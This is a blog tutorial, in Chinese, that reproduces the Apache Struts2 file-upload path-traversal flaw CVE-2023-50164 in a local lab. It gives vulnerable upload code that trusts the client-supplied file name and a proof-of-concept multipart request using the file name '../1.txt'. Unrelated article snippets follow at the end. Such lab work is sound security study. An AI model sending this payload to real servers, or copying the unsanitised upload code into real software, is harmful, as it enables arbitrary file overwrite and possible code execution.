CVE-2023-50164 Apache Struts2漏洞复现

CVE-2023-50164 简介:

从本质上讲,该漏洞允许攻击者利用 Apache Struts 文件上传系统中的缺陷。它允许他们操纵文件上传参数并执行路径遍历。这种利用可能会导致在服务器上执行任意代码,从而导致各种后果,例如未经授权的数据访问、系统受损,甚至完全控制受影响的系统,包括在系统中放置恶意文件。

仔细一看,CVE-2023-50164涉及Apache Struts的文件上传机制中的一个漏洞。对于非技术受众,想象一下这样一个场景:安全检查点(文件上传机制)由于漏洞而被绕过,从而允许未经授权的访问安全区域(服务器)。从技术角度来看,该漏洞在于 Apache Struts 在文件上传过程中如何处理名为 MultiPartRequestWrapper 的组件。攻击者可以操纵该进程实现路径遍历,从而覆盖任意文件,从而可能导致在服务器上执行任意代码、更改配置等。


一、环境搭建:

  1. 使用IDEA工具新建项目 - 语言和构建系统可以跟着图中选一致就行
    在这里插入图片描述
    在这里插入图片描述
    创建好项目后 -在POM.xml文件中添加依赖项
<dependency><groupId>org.apache.struts</groupId><artifactId>struts2-core</artifactId><version>6.3.0</version>
</dependency>

在这里插入图片描述
然后新建一个类UploadAction
在这里插入图片描述
在UploadAction文件中添加以下代码

package com.example.demo;import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;import java.io.*;public class UploadAction extends ActionSupport {private static final long serialVersionUID = 1L;private File upload;// 文件类型,为name属性值 + ContentTypeprivate String uploadContentType;// 文件名称,为name属性值 + FileNameprivate String uploadFileName;public File getUpload() {return upload;}public void setUpload(File upload) {this.upload = upload;}public String getUploadContentType() {return uploadContentType;}public void setUploadContentType(String uploadContentType) {this.uploadContentType = uploadContentType;}public String getUploadFileName() {return uploadFileName;}public void setUploadFileName(String uploadFileName) {this.uploadFileName = uploadFileName;}public String doUpload() {String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";String realPath = path + File.separator +uploadFileName;try {FileUtils.copyFile(upload, new File(realPath));} catch (Exception e) {e.printStackTrace();}return SUCCESS;}}

然后在resources文件夹下创建一个struts.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN""http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="upload" extends="struts-default"><action name="upload" class="com.example.demo.UploadAction" method="doUpload"><result name="success" type="">/index.jsp</result></action></package>
</struts>

需要注意的是<action name="upload" class="这里是要对应自己建立的类名一致.UploadAction" method="doUpload"> UploadAction不变

在这里插入图片描述
在打开WEB-INF文件下的web.xml文件将下面代码丢进去

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter><filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping></web-app>

然后运行服务大概就这么配置就可以了,如果运行不起来说明代码上或者依赖项是有问题的,在强制更新Maven记得需要保持网络通畅!我们继续把服务运行起来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


二、POC利用

POST /demo_war_exploded/upload.action HTTP/1.1
Host: localhost
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

验证码的时候POC的Host和路径都是需要我们在IDEA配置的路径一致,要不然复现不成功。在test文件的resources新建一个HTTP请求
在这里插入图片描述
POC丢进去,记得Host要改成你自己配置的还要路径也是
在这里插入图片描述
在这里插入图片描述
成功复现 - 复现的漏洞上传文件可以根据截图找
在这里插入图片描述
参考:
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E7%8E%AF%E5%A2%83

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/278051.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue-实现高德地图-省级行政区地块显示+悬浮显示+标签显示

<template><div><div id"container" /><div click"showFn">显示</div><div click"removeFn">移除</div></div> </template><script> import AMapLoader from amap/amap-jsapi-load…

CSS的盒子模型(重点)

网页布局的三大核心&#xff1a;盒子模型、浮动、定位 网页布局的过程&#xff1a; 1. 先准备好相关的网页元素&#xff0c;网页元素基本都是盒子 Box 。 2. 利用 CSS 设置好盒子样式&#xff0c;然后摆放到相应位置。 3. 往盒子里面装内容.网页布局的核心本质&#xff1a; 就…

百度地图 TypeError: Cannot set properties of undefined (setting ‘Bm‘)

这类问题出现的原因一般是&#xff0c;页面还没有加载完&#xff0c;地图开始加载&#xff0c;或者地图加载在页面加载之前 在项目中&#xff0c;我用isMapLoading控制地图的加载&#xff0c;false–加载&#xff0c;true不加载&#xff0c;在data()中设置isMapLoadingtrue

Star 4.1k!Gitee GVP开源项目!新一代桌面应用开发框架 ElectronEgg!

前言 随着现代技术的快速升级迭代及发展&#xff0c;桌面应用开发已经变得越来越普及。然而对于非专业桌面应用开发工程师在面对这项任务时&#xff0c;可能会感到无从下手&#xff0c;甚至觉得这是一项困难的挑战。 本篇文章将分享一种新型桌面应用开发框架 ElectronEgg&…

微服务组件Sentinel的学习(3)

Sentinel 隔离和降级Feign整合Sentinel线程隔离熔断降级熔断策略 授权规则&#xff1a;自定义异常 隔离和降级 虽然限流可以尽量避免因高并发而引起的服务故障&#xff0c;但服务还会因为其它原因而故障。而要将这些故障控制在一定范用避免雪崩&#xff0c;就要靠线程隔离(舱壁…

【LeetCode刷题笔记(7-1)】【Python】【四数之和】【哈希表】【中等】

文章目录 四数之和题目描述示例 1示例 2提示解决方案1&#xff1a;【四层遍历查找】解决方案2&#xff1a;【哈希表】【三层遍历】 结束语 四数之和 四数之和 题目描述 给你一个由 n 个整数组成的数组 nums &#xff0c;和一个目标值 target 。请你找出并返回满足下述全部条件…

Logistic 回归算法

Logistic 回归 Logistic 回归算法Logistic 回归简述Sigmoid 函数Logistic 回归模型表达式求解参数 $\theta $梯度上升优化算法 Logistic 回归简单实现使用 sklearn 构建 Logistic 回归分类器Logistic 回归算法的优缺点 Logistic 回归算法 Logistic 回归简述 Logistic 回归是一…

uniapp播放 m3u8格式视频 兼容pc和移动端

支持全自动播放、设置参数 自己摸索出来的,花了一天时间,给点订阅支持下,订阅后,不懂的地方可以私聊我。 代码实现 代码实现 1.安装dplayer组件 npm i dplayer2. static/index.html下引入 hls 引入hls.min.js 可以存放在static项目hls下面<script src="/static…

error: src refspec master does not match any

新项目 push 至 github 仓库的时候抛出了如下异常 error: src refspec master does not match any 解决办法 首先,查看当前 branch, 因新项目只有一个 main git branch早期都是 master 而不是 main,所以将现有的改成 main 或者 master 均可 git branch -m main // 或者 git…

scipy.signal.hilbert和scipy.fftpack.hilbert的区别

提示&#xff1a;分析scipy.signal.hilbert和scipy.fftpack.hilbert在应用的区别 一、代码 import matplotlib import matplotlib.pyplot as plt import numpy as np from pyhht import EMD from scipy.signal import hilbert import tftb.processing from scipy import signa…

26种主流的神经网络偏微分方程求解方法汇总

偏微分方程&#xff08;PDE&#xff09;是数学中一门重要的分支&#xff0c;应用范围广泛涉及自然科学、工程技术、生物学领域等。然而我们都知道&#xff0c;偏微分方程的求解过程异常艰难&#xff0c;如果碰上了特别复杂的&#xff0c;传统的计算方法可能需要数百万个CPU小时…

网站服务器/域名/备案到底有什么关联?

​  在一个网站的组成中&#xff0c;网站服务器、域名、备案这几个要素是要被常提到的。在谈及三者关联之前&#xff0c;我们先了解下三者的各自概念。 域名&#xff1a;它是网站的唯一标识符&#xff0c;通俗理解来说就是用户在浏览器地址栏中输入的网址。一般来说&#xff…